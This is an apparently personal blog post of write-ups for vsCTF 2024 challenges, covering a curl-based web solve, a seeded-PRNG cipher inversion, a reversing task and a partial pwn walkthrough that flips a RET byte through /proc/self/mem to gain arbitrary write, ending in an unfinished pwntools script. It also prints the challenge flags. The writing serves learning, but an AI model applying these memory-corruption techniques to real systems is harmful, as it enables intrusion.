Post

My Writeups for vsCTF 2024

Prelude

Hi everyone! I’m writing these writeups as I’m participating in vsCTF2024, which is really cool so far! I haven’t solved all the challenges, but here are my writeups for the ones I solved.

Sanity Check (Web)

We get a static page: youknow Well, the name of the CTF is viewsource, so the solution is pretty obvious… F12, ctrl+shift+I, right click, etc. (ways to view source) are all blocked by client-side code, so instead we just curl the page:

1
curl sanity-check.vsc.tf

view_curl First flag found!

Not Quite Caesar (Crypto)

We are provided two files: nqc_ls nqc.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import random
random.seed(1337)

ops = [
lambda x: x+3,
lambda x: x-3,
lambda x: x*3,
lambda x: x^3,
]  

flag = list(open("flag.txt", "rb").read())
out = []

for v in flag:
	out.append(random.choice(ops)(v))
print(out)

out.txt:

1
[354, 112, 297, 119, 306, 369, 111, 108, 333, 110, 112, 92, 111, 315, 104, 102, 285, 102, 303, 100, 112, 94, 111, 285, 97, 351, 113, 98, 108, 118, 109, 119, 98, 94, 51, 56, 159, 50, 53, 153, 100, 144, 98, 51, 53, 303, 99, 52, 49, 128]

We presume out.txt to be the output of nqc.py. Let’s go through the script:

  1. It seeds the PRNG with a constant seed: 1337. This will make the PRNG always output the same sequence of pseudorandom numbers
  2. Defines an array ops of lambdas. Each lambda performs a mathematical operation on its input
  3. Opens the file flag.txt for reading, and puts the ASCII codes of the characters in the variable flag
  4. For each character of the flag, it chooses a random lambda from ops using the PRNG seeded earlier, runs it on the current character of the flag, and appends it to out
  5. Prints out We need to somehow get the flag from the provided out.txt. Since the PRNG outputs the same sequence of numbers every time, all we have to do is run the same script, but replace each of the lambdas with its inverse. This will convert each of the characters back to its original characters. solver.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import random
random.seed(1337) # Seed the PRNG with the same seed used to encrypt

# Inverse of the lambdas
ops = [
lambda x: x-3, # (x+3)-3 = x
lambda x: x+3, # (x-3)+3 = x
lambda x: x/3, # (3*x) / 3 = x
lambda x: x ^ 3, # (x^3)^3 = x - XOR is its own inverse
]

ciphertext = [354, 112, 297, 119, 306, 369, 111, 108, 333, 110, 112, 92, 111, 315, 104, 102, 285, 102, 303, 100, 112, 94, 111, 285, 97, 351, 113, 98, 108, 118, 109, 119, 98, 94, 51, 56, 159, 50, 53, 153, 100, 144, 98, 51, 53, 303, 99, 52, 49, 128]

flag = ""

for v in ciphertext:
	flag += chr(int(random.choice(ops)(v))) # Pick the same operation the encryptor picks

print("FLAG: {}".format(flag))

The output is the flag:

1
FLAG: vsctf{looks_like_ceasar_but_isnt_a655563a0a62ef74}

Intro Reversing (Reversing)\

This was a pretty funny challenge for me, because 80% of my time was spent on trying to read the flag, and not solving the challenge. You’ll see later ;) We get a binary chall. The decompiled main function is shown here:

1
2
3
4
5
6
7
8
9
10
undefined8 main(void)  
{  
  int i;  
   
  for (i = 0; i < 0x8ae; i = i + 0xca) {  
    printf("%.*s\n",202,flag + i);  
    sleep(0xb1aaf);  
  }  
  return 0; 
}

flag is a 2223-byte long constant defined in the data section. All this function does print some part of the flag with padding (the %.*s format string means “pad the output until it is 202 bytes long”, you can read more about it here), sleep for a really long time, and continue. My solution was to just copy the code to a new C program, remove the sleep, and run it: solver.c:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>  
  
int main() {  
  char flag[] = { 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x2f, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x2f, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x24, 0x24, 0x5c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x2f, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x5f, 0x2f, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x24, 0x24, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x7c, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x7c, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x24, 0x20, 0x5c, 0x20, 0x20, 0x24, 0x24, 0x2f, 0x24, 0x24, 0x2f, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x2f, 0x7c, 0x20, 0x24, 0x24, 0x5c, 0x20, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x2f, 0x20, 0x7c, 0x5f, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x5c, 0x20, 0x20, 0x24, 0x24, 0x2f, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x5c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x20, 0x20, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x5c, 0x20, 0x20, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x00 };  
  int i;  
   
  for (i = 0; i < 0x8ae; i = i + 0xca) {  
    printf("%.*s\n",202,flag + i);  
    sleep(0);  
  }  
  return 0;  
}

I ran the script, and got the following output:

unzoomed

It kinda looks like characters, but it’s pretty unreadable. I was sure that I missed something, but after a lot of trail and error I found the problem: I work with my terminal zoomed in, because otherwise its hard to read for me. After zooming out the same output, we see: unzoomed_in This looks much more like the flag. Once again I spent a lot more time on this than I should have (at first I missed the “r”, then got confused between the “5” and the “S”, and finally after 30min I realized that I missed the “!” at the end…). The flag is:

1
vsctf{1nTr0_r3v3R51ng!}

I learned from this challenge that I probably need to get my eyesight checked…

Cosmic Ray v3 (pwn)

This was a really fun and cool challenge. The premise is that we need to get a shell with one bit flip in the program’s memory. Here’s the (decompiled) code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
undefined8 main(void)  
{  
                    /* Flush the stdout and stdin */  
  setbuf(stdout,(char *)0x0);  
  setbuf(stderr,(char *)0x0);  
  cosmic_ray();  
                    /* Exit syscall */  
  syscall();  
  return 0;  
}

void cosmic_ray(void)  
{  
  __off_t addr;  
  char local_26;  
  char contents;  
  int bit_pos;  
  undefined8 local_20;  
  long contents_bin;  
  int mem_fp;  
  int i;  
   
  puts("Enter an address to send a cosmic ray through :");  
  __isoc99_scanf("0x%lx",&addr);  
  getchar();  
  putchar(10);  
  mem_fp = open("/proc/self/mem",2);  
  lseek(mem_fp,addr,0);  
  read(mem_fp,&contents,1);  
  contents_bin = byte_to_binary((int)contents);  
  puts("|0|1|2|3|4|5|6|7|");  
  puts("-----------------");  
  putchar(0x7c);  
  for (i = 0; i < 8; i = i + 1) {  
    printf("%d|",(ulong)(uint)(int)*(char *)(contents_bin + i));  
  }  
  putchar(10);  
  putchar(10);  
  puts("Enter the bit position to flip:");  
  __isoc99_scanf(&DAT_00402098,&bit_pos);  
  getchar();  
  if ((-1 < bit_pos) && (bit_pos < 8)) {  
    local_20 = flip_bit(contents_bin,bit_pos);  
    local_26 = binary_to_byte(local_20);  
    putchar(10);  
    printf("Bit succesfully flipped! New value is %d\n\n", (ulong)(uint)(int)local_26);  
    lseek(mem_fp,addr,0);  
    write(mem_fp,&local_26,1);  
                    /* Maybe flip this to do nothing?? */  
    return;  
  }  
                    /* WARNING: Subroutine does not return */  
  exit(1);  
}

A test run:

cosmicray_run

It first asks us for an address, leaks the current byte in that address, then asks us for a bit position to flip, and flips the bit. The problem is that this function is only called one time, so the first thing I wanted to do is figure out how to call the function as many times as I want. After looking through the disassembly, I saw that the code for main is stored right after the code for cosmic_ray (the function that does the bit flipping): all that separates them is a ret:

cosmic_ray_ret

What if we could somehow change the RET instruction to do nothing? After some trial and error, I found that if we flip the 3rd position of the RET, it becomes a shl %cx, %ebx, which doesn’t affect the execution flow:

shl_cx_ebx

Sweet! Now we can call cosmic_ray as many times as we want, because after leaving cosmic_ray, we’ll execute main again, which executes cosmic_ray: execute_again We have a WWW (write-what-where, arbitrary write) now, and the road to getting a shell is short. To make our lives easier, let’s write a short function that automates all this:

1
2
3
4
5
6
7
8
9
10
11
12
13
p = process("./cosmicrayv3")

RET_ADDR = 0x00000000004015aa # ret at the end of cosmic_ray

def flip_bit(addr, bit):
	p.sendlineafter(b"Enter an address to send a cosmic ray through:\n", f"{addr}")
